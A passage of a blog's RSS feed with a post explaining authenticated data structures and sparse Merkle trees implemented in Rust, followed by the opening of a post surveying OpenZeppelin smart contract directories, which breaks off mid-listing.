            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over my implementation of a simple library for authenticated data structures and sparse merkle trees.</p><p>the source code, in rust, can be found <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-rs">here</a>.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎵 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/6AtBumPb5RsfgG3Xo6UsTW?si=2368f6231a324825">https://open.spotify.com/track/6AtBumPb5RsfgG3Xo6UsTW?si=2368f6231a324825</a></p><p><strong><em>“the first half of life is devoted to forming a healthy ego, the second half is going inward and letting go of it.” - carl jung</em></strong></p><p><strong><em>“the ego refuses to be distressed by the provocations of reality, to let itself be compelled to suffer. it insists that it cannot be affected by the traumas of the external world; it shows, in fact, that such traumas are no more than occasions for it to gain pleasure.” - sigmund freud</em></strong></p><hr><h2 id="h-001-authenticated-data-structures" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">001. authenticated data structures</h2><p>an <strong>authenticated data structure</strong> (ADS) is an advanced data structure on which an <strong><em>untrusted prover</em></strong> can query for an entry, receiving a <strong><em>result and a proof</em></strong> so that the <strong><em>response</em></strong> can be <strong><em>efficiently checked for authenticity</em></strong>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/06014b4aec8f8ef50d057f27b6750b7c7a00a9a4b4b000aac467233b25895b19.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>you can think of ADSs as cryptographic upgrades of the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/master-algorithms-py">classic algorithms we are used to</a> (such as hash maps, binary trees, or tries), with an extra operation added to the good an old <code>insert()</code>, <code>lookup()</code>, <code>delete()</code>, <code>update()</code>: the <code>commit()</code>.</p><p>in other words, we can utilize <strong><em>well-known cryptographic hash functions</em></strong> (such as SHA-256 or SHA-3) to calculate a <strong><em>collision-free</em></strong> data structure representation.</p><p>we call this hash representation string <strong><em>the</em></strong> <strong><em>commitment</em></strong> (e.g., a small and unique cryptographic representation of the data structure). commitments must uniquely determine the data structure&apos;s value (<em>i.e.</em>, if <code>a.commit() == b.commit()</code>, then <code>a == b</code>).</p><p>because we trust our hash function, <strong><em>every query should have a valid collision-free proof</em></strong> + <strong><em>a valid proof should imply that the result is correct</em></strong>. this means that proofs for queries must be <strong>complete</strong> and <strong>sound</strong>, where completeness means that every valid query result has a valid proof and soundness means that valid proofs imply that the query results are correct.</p><blockquote><p>💡 <em>according to seminal </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cs.umd.edu/~mwh/papers/gpads.pdf"><em>Miller et al</em></a><em>, &quot;an authenticated data structure (ADS) is a data structure whose operations can be carried out by an untrusted prover, the results of which a verifier can efficiently check as authentic. this is done by having the prover produce a compact proof that the verifier can check along with each operation’s result. ADSs thus support outsourcing data maintenance and processing tasks to untrusted servers without loss of integrity.&quot;</em></p></blockquote><h3 id="h-cryptographic-hash-functions" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">cryptographic hash functions</h3><p>a <em>cryptographic hash function</em> <code>H</code> is a special function that takes an arbitrarily long sequence of bytes and returns some fixed-size &quot;digest&quot; of that sequence. cryptographic hash functions have two special properties for our purposes:</p><ul><li><p>preimage resistance: given a digest <code>d</code>, it&apos;s infeasible to calculate a string <code>s</code> such that <code>H(s) = d</code>.</p></li><li><p>collision resistance: it&apos;s infeasible to find two strings <code>s1</code> and <code>s2</code> such that <code>H(s1) == H(s2)</code>.</p></li></ul><p>for this library, we will be using the <code>SHA-256</code> hash function, which has a 256-bit digest.</p><hr><h2 id="h-010-authenticated-sorted-key-value-stores" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">010. authenticated (sorted) key-value stores</h2><p>an authenticated key-value store is an ADS of an &quot;associative array&quot; or &quot;map&quot;.</p><p>the methods of the data structure are described in <code>src/kv_trait.rs</code> of my code:</p><pre data-type="codeBlock" text="fn new() -&gt; Self;
fn commit(&amp;self) -&gt; Self::Commitment;
fn check_proof(key: Self::K, res: Option&lt;Self::V&gt;, pf: &amp;Self::LookupProof,
        comm: &amp;Self::Commitment) -&gt; Option&lt;()&gt;;
fn insert(self, key: Self::K, value: Self::V) -&gt; Self;
fn get(&amp;self, key: Self::K) -&gt; (Option&lt;Self::V&gt;,Self::LookupProof);
fn remove(self, key: Self::K) -&gt; Self;
"><code><span class="hljs-keyword">fn</span> <span class="hljs-title function_">new</span>() <span class="hljs-punctuation">-></span> <span class="hljs-keyword">Self</span>;
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">commit</span>(&#x26;<span class="hljs-keyword">self</span>) <span class="hljs-punctuation">-></span> <span class="hljs-keyword">Self</span>::Commitment;
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">check_proof</span>(key: <span class="hljs-keyword">Self</span>::K, res: <span class="hljs-type">Option</span>&#x3C;<span class="hljs-keyword">Self</span>::V>, pf: &#x26;<span class="hljs-keyword">Self</span>::LookupProof,
        comm: &#x26;<span class="hljs-keyword">Self</span>::Commitment) <span class="hljs-punctuation">-></span> <span class="hljs-type">Option</span>&#x3C;()>;
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">insert</span>(<span class="hljs-keyword">self</span>, key: <span class="hljs-keyword">Self</span>::K, value: <span class="hljs-keyword">Self</span>::V) <span class="hljs-punctuation">-></span> <span class="hljs-keyword">Self</span>;
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">get</span>(&#x26;<span class="hljs-keyword">self</span>, key: <span class="hljs-keyword">Self</span>::K) <span class="hljs-punctuation">-></span> (<span class="hljs-type">Option</span>&#x3C;<span class="hljs-keyword">Self</span>::V>,<span class="hljs-keyword">Self</span>::LookupProof);
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">remove</span>(<span class="hljs-keyword">self</span>, key: <span class="hljs-keyword">Self</span>::K) <span class="hljs-punctuation">-></span> <span class="hljs-keyword">Self</span>;
</code></pre><p>note that <code>insert()</code>, <code>get()</code>, and <code>remove()</code> behave like the same methods in <code>std::collections::HashMap</code>, except that <code>insert()</code> and <code>remove()</code> return copies of the ADS rather than taking <code>&amp;mut self</code>.</p><p>you can check the full implementation of a sorted key-value store class, represented by a vectorial abstraction of a (unbalanced) binary tree (<em>i.e.</em>, the underlying data structure is an array), at <code>src/sorted_kv.rs</code>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e6cbd92b23cc1911e7ee620eaebb6eed72f5378976c5b11d20bac3525cd3c7f6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>although the key sorts the structure, this is not a binary search tree, as it allows repeated entries. rather, the structure&apos;s commitment is an overall hash calculated recursively as a binary tree (this digest is obtained by mapping the merkle hash of each pair - named <em>&quot;merkle mountain range&quot;</em>).</p><hr><h2 id="h-011-merkle-trees" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">011. merkle trees</h2><p><strong>merkle trees</strong> are the canonical and original example of <strong>authenticated data structures</strong>, designed for <strong>easy inclusion proofs</strong> but not <strong>easy exclusive proofs</strong> (<em>e.g.</em>, a prover can efficiently convince the verifier that a particular entry is present but not absent - <em>you will understand this better in the next session</em>).</p><p>for example, we could use a vectorial abstraction of a binary tree to represent a collection of keys and values at nodes given by an index <code>i</code>.</p><p>although there are multiple representations of an associative array, a general rule for this representation is that:</p><ul><li><p>a right sibling could be found through <code>2 * ix + 2</code>, so <code>(i % 2 == 0) == true</code></p></li><li><p>a left sibling could be found through <code>2 * ix + 1</code>, so <code>(i % 2 == 1) == true</code></p></li></ul><p>the path from a <code>(k, v)</code> node to the root would be calculated as the overall digest hash of the tree from the <code>(k, v)</code> node pointer, with all the sibling hashes.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/dcff9c6dea5258746dddb9482cd6173a1e50a991af4d60d07ac7d4cde3a524c5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>in other words, the calculation consists of iterating each sibling in the array of siblings&apos; digests, attributing the hashes for left and right sub-trees, and then iteratively hashing them. in this logic, the root hash is the entire commitment of the tree.</p><blockquote><p>💡 <em>since </em><strong><em>inserting at a specific position cannot be done efficiently</em></strong><em> (as the whole tree would need to be recomputed), these trees are unsuitable for authenticated key-value maps.</em></p></blockquote><hr><h2 id="h-100-sparse-merkle-trees" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">100. sparse merkle trees</h2><p>now, let’s talk about something even more awesome: <strong>sparse merkle trees</strong>, which provide <strong>efficient exclusion proofs</strong> by design (try to figure out why 🕵🏻‍♀️!).</p><p>in a sparse merkle tree, a particular <code>(k, v)</code> is <strong>represented by a leaf node</strong> such that its path from the root is encoded by one of all possible hash digests of the chosen hash function.</p><p>so, if the chosen hash function is represented by <code>N</code> bits, the tree&apos;s height is <code>N</code>, and the paths down to the <code>2^N</code> leaf nodes are represented by (<code>N</code>-nodes-deep) bit-strings.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7175cb5c7ce719986b92d2b3997772f4fc6303d20da89c4c995960d83d5ca743.png" alt="in the case of SHA-256, the tree has a height of 256 and 2^{256} leaf nodes represented by 256-bit paths." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">in the case of SHA-256, the tree has a height of 256 and 2^{256} leaf nodes represented by 256-bit paths.</figcaption></figure><p>🕵🏻‍♀️ when the <code>(k, v)</code> entry is not present in the map, an empty leaf is assigned (for instance, with an all-<code>0</code> digest).</p><p>in other words, each possible <code>(k, v)</code> entry corresponds to a unique leaf node and is uniquely linked to its position in the tree. on the other hand, each leaf is a unique representation of the <code>2^N</code> possibilities presented by the digest size <code>N</code> of the cryptographic hash function.</p><h3 id="h-how-about-the-branch-nodes" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">how about the branch nodes?</h3><p>branches have left and right subtrees given by the digest of its child subtrees digest (something like <code>hash_branch(left_digest_until_here, right_digest_until_here)</code>, a concatenated hash of its child nodes).</p><p>so any parent branch node can be obtained by hashing together two child nodes recursively until the top to the merkle root of the tree.</p><blockquote><p>💡 <em>note that different hash functions should be used for leaf and branch nodes to prevent </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Preimage_attack"><em>preimage attacks</em></a><em>.</em></p></blockquote><p>each child subtree position is found by looking at the bits of <code>hash_function(k)</code>. a left branch is denoted as <code>0</code> and a right branch as <code>1</code>, so the most left leaf&apos;s key is <code>0x000..00</code>, the next is <code>0x00..0</code>, the most right key is <code>0x11..11</code>, and so on.</p><p>in addition, we see that most leaf nodes are empty, and this is cool because the hashes of empty nodes are identical.</p><p>the same is true for interior nodes whose children are all empty: subtrees with no leaf nodes are represented as an empty subtree with a digest such as the darling all-<code>0</code> digest (and hashes of hashes of hashes of (…) of empty nodes are all predictable).</p><blockquote><p>💡 <em>contrary to simple merkle trees, sparse merkle trees are a great choice for authenticated key-value maps due to the </em><strong><em>history independence</em></strong><em> of the merkle root from element insertion order.</em></p></blockquote><h3 id="h-well-2n-with-a-loooot-of-zeroes-sounds-like-waste" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">“well, <code>2^N</code> with a loooot of zeroes sounds like waste”</h3><p>yes, to naively create a sparse merkle tree, one would generate all possible <code>2^N</code> outputs of the hash function as a leaf in the tree and initialize them to the empty value. this generates a nearly unbounded number of data.</p><p>however, since required storage is only proportional to the number of items inserted into the tree, some optimizations are possible:</p><ul><li><p>items on the leaf node are initially <code>None</code> and, therefore, do not need to be stored.</p></li><li><p>subtrees with no leaf nodes are represented as &quot;empty subtree&quot;, with an all-<code>0</code> digest.</p></li><li><p>internal nodes all have fixed predictable values that can be re-computed as hashes of <code>None</code> values.</p></li></ul><p>therefore, a sparse merkle tree can simply store a set of leaf nodes for the <code>(k, v)</code> pairs plus a set of empty hashes representing the sparse areas of the tree.</p><p>and because a sparse merkle is nearly balanced, if there are <code>N</code> entries in the tree, a particular entry could be <em>theoretically</em> reached in <code>log2(N)</code> steps!</p><h3 id="h-rust-is-the-best-language-period" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">rust is the best language, period</h3><p>as we implement a sparse merkle tree in rust (using SHA-256), we can think of two different types of nodes: <code>SparseMerkleTreeNodeLeaf</code> and <code>SparseMerkleTreeNodeBranch</code> (the full source code for this class is available at <code>src/sparse_merkle_tree.rs</code>).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1cbd27fb78b67bc58034c3be097763d1792bf5aa4bd91c8dec89ca54380fe758.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>a very simple lookup function could look like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fec3c3d9ccf65829953d241391dee1cdedf78f942a99af9ac6ad91f148f13766.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>finally, a commit and checking proof could use the following path process:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0242fdb0ed16b12b745abb476a6e782ad56ac0a976cf589b3974863e014ebb56.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-101-unit-tests-and-fuzzing" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">101. unit tests and fuzzing</h2><p>to conclude this article, let’s go over some of the testing approaches in this library. first of all, i use <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://(https://nixos.org/manual/nix/stable/quick-start)">nix</a> to set up my virtual environments and you should too.</p><p>rust differentiates between &quot;unit&quot; tests and &quot;integration&quot; tests, as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/second-edition/ch11-03-test-organization.html">described by its documentation</a>. in my code, unit tests are annotated with <code>#[test] macro</code>, and integration tests are annotated with<code>#[cfg(test)] macro</code>.</p><p>alternatively, the test <code>hash_btree_insert_get()</code> is an example of a &quot;simulation test&quot;, generating scenarios where two different data structures (<code>HashMap</code> and <code>BTreeMap</code>) are tested to behave &quot;the same&quot; for <code>insert()</code> and <code>get()</code> through this check:</p><pre data-type="codeBlock" text="assert_eq!(hmap.get(&amp;k), bmap.get(&amp;k));
"><code>assert_eq<span class="hljs-operator">!</span>(hmap.get(<span class="hljs-operator">&#x26;</span>k), bmap.get(<span class="hljs-operator">&#x26;</span>k));
</code></pre><p>we extended this concept to compare the behavior of <code>SortedKV</code> and <code>SparseMerkleTree</code> against <code>HashMap</code> through, for example, <code>hash_sortedkv_insert_get()</code> (making sure we test for <code>SortedKV::check_proof()</code>):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e1df3201f1ba43bc2a4075b8fd30b57a663675bf03d3a166116c7f884955cf3c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>we then use <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.rs/quickcheck/latest/quickcheck/">quickcheck</a> for property testing, which creates several randomly generated (non-deterministic) inputs, such as in:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2584a49281d159aa60a0eb7a7401e55aee47a3a97a13d03359f61810296dead3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>fun.</p><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/097375df42db9650fa5421eec3cb6ae217c1c2fb5bc693a2be9f3b40e4b83d38.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on some of my favorite openzeppelin smart contracts]]></title>
            <link>https://paragraph.com/@go-outside/on-some-of-my-favorite-openzeppelin-smart-contracts</link>
            <guid>267IZhfYQ5KRQ2fC7vDm</guid>
            <pubDate>Thu, 31 Aug 2023 04:41:27 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over some openzeppelin contracts while discussing features and vulnerabilities (such as reentrancy and ownership). this post is suitable for web2|3 hackers, solidity or non-solidity peeps, and computer nerds in general 🤓. for a general intro to solidity, you can check my web3-starter-sol.👾 today’s outline000. an open and secure zeppelin 001. utils/ - Context.sol: a wrapper for msg.sender and msg.data - Array.sol: handy methods for arrays 010. access/ - Ownable.sol: providin...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over some <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts">openzeppelin contracts</a> while discussing features and vulnerabilities (such as reentrancy and ownership).</p><p>this post is suitable for web2|3 hackers, solidity or non-solidity peeps, and computer nerds in general 🤓. for a general intro to solidity, you can check my <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/autistic-symposium/web3-starter-sol">web3-starter-sol</a>.</p><hr><h2 id="h-todays-outline" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>👾 today’s outline</strong></h2><pre data-type="codeBlock" text="000. an open and secure zeppelin 

001. utils/ 
    - Context.sol: a wrapper for msg.sender and msg.data
    - Array.sol: handy methods for arrays

010. access/
    - Ownable.sol: providing onlyOwner modifier
    - Ownable2Step.sol: an example of inheriting Ownable

011. security/
    - ReentrancyGuard.sol: guard against single function reentrancy attacks

100. proxy/
    - Proxy.sol: implementing core low-level delegation functionality
"><code>000. an open and secure zeppelin 

001. utils/ 
    <span class="hljs-operator">-</span> Context.sol: a wrapper <span class="hljs-keyword">for</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> and <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>
    <span class="hljs-operator">-</span> Array.sol: handy methods <span class="hljs-keyword">for</span> arrays

010. access/
    <span class="hljs-operator">-</span> Ownable.sol: providing onlyOwner <span class="hljs-function"><span class="hljs-keyword">modifier</span>
    - <span class="hljs-title">Ownable2Step</span>.<span class="hljs-title">sol</span>: <span class="hljs-title">an</span> <span class="hljs-title">example</span> <span class="hljs-title">of</span> <span class="hljs-title">inheriting</span> <span class="hljs-title">Ownable</span>

011. <span class="hljs-title">security</span>/
    - <span class="hljs-title">ReentrancyGuard</span>.<span class="hljs-title">sol</span>: <span class="hljs-title">guard</span> <span class="hljs-title">against</span> <span class="hljs-title">single</span> <span class="hljs-title"><span class="hljs-keyword">function</span></span> <span class="hljs-title">reentrancy</span> <span class="hljs-title">attacks</span>

100. <span class="hljs-title">proxy</span>/
    - <span class="hljs-title">Proxy</span>.<span class="hljs-title">sol</span>: <span class="hljs-title">implementing</span> <span class="hljs-title">core</span> <span class="hljs-title">low</span>-<span class="hljs-title">level</span> <span class="hljs-title">delegation</span> <span class="hljs-title">functionality</span>
</span></code></pre><hr><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>🎶 today’s mood</strong></h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/5AgIGlGECjfquInIs1olEf?si=32af65d2803f4dbc">https://open.spotify.com/track/5AgIGlGECjfquInIs1olEf?si=32af65d2803f4dbc</a></p><hr><h2 id="h-000-an-open-and-secure-zeppelin" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">000. an open and secure zeppelin</h2><p>founded in 2015, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.openzeppelin.com/">openzeppelin</a> is an awesome crypto cybersecurity company that has created essential standards for secure blockchain applications.</p><p>besides <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.openzeppelin.com/security-audits">security audits,</a> their main products are the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/defender/v2/">defender platform (now 2.0)</a>, the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forta.org/">forta network</a>, and the widely used <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/4.x/">smart contracts libraries</a> (containing <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token">implementations of standards such as ERC20 and ERC721</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/access">access control and role-based schemes</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/utils">reusable solidity components</a>, etc.). they also have a vast smart contract documentation (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/4.x/extending-contracts">for example, on things like how to extend their contracts via inheritance</a>) and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wizard.openzeppelin.com/">the solidity wizard tool.</a></p><p>diving into their<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin"> github</a>, there are several projects worth an in-depth review. for instance, my next post will be about my solutions to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/">their ctf game (called ethernaut)</a>, using a systematic methodology with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/foundry-rs/foundry">foundry</a> (you can take a peak already <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ethernaut-foundry-detailed-solutions-sol">at my github</a>).</p><p>however, today we will be talking about some of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts">openzeppelin’s smart contracts</a>, inside <code>util/</code>, <code>access/</code>, <code>security/</code>, and <code>proxy/</code>:</p><pre data-type="codeBlock" text="|----- contracts/
          |
          |----- finance/
          |----- governance/
          |----- interfaces/
          |----- metatx/
          |----- mocks/
          |----- token/
          |----- ✨👀✨ utils/
          |----- ✨👀✨ access/
          |----- ✨👀✨ security/
          |----- ✨👀✨ proxy/
"><code><span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> contracts<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> finance<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> governance<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> interfaces<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> metatx<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> mocks<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> token<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ utils<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ access<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ security<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ proxy<span class="hljs-operator">/</span>
</code></pre><p>[ perhaps another time we will look at <code>finance/</code> (<em>e.g.,</em> <code>VestingWallet.sol</code>) or <code>governance/</code> (<em>e.g.,</em> <code>TimelockController.sol</code> and <code>Governor.sol</code>), or the token interfaces, <code>metatx/</code> (<em>e.g.,</em> <code>ERC2771*.sol</code>), <code>mock/</code>, <code>token/</code> (<em>e.g.,</em> <code>ERC1155</code>, <code>ERC20</code>, <code>ERC72</code>), etc… as they are all relevant and fun ].</p><hr><h2 id="h-001-utils" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">001. utils/</h2><pre data-type="codeBlock" text="|----- utils/
          |
          |----- cryptography/
                    |----- ECDSA.sol
                    |----- EIP712.sol
                    |----- MerkleProof.sol
                    |----- MessageHashUtils.sol
                    L----- SignatureChecker.sol
          |----- introspection/
                    L----- ERC165.sol
          |----- math/
                    |----- Math.sol
                    |----- SafeCast.sol
                    L----- SignedMath.sol
          |----- structs/
                    |----- BitMaps.sol
                    |----- Checkpoints.sol
                    |----- DoubleEndedQueue.sol
                    |----- EnumerableMap.sol
                    L----- EnumerableSet.sol
          |----- Base64.sol
          |----- Address.sol
          |----- Create2.sol
          |----- Multicall.sol
          |----- Nonces.sol
          |----- ShortStrings.sol
          |----- StorageSlot.sol
          |----- Strings.sol
          |----- ✨👀✨ Arrays.sol
          L----- ✨👀✨ Context.sol
"><code><span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> utils<span class="hljs-operator">/</span>
          <span class="hljs-operator">|</span>
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> cryptography<span class="hljs-operator">/</span>
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ECDSA.sol
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> EIP712.sol
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> MerkleProof.sol
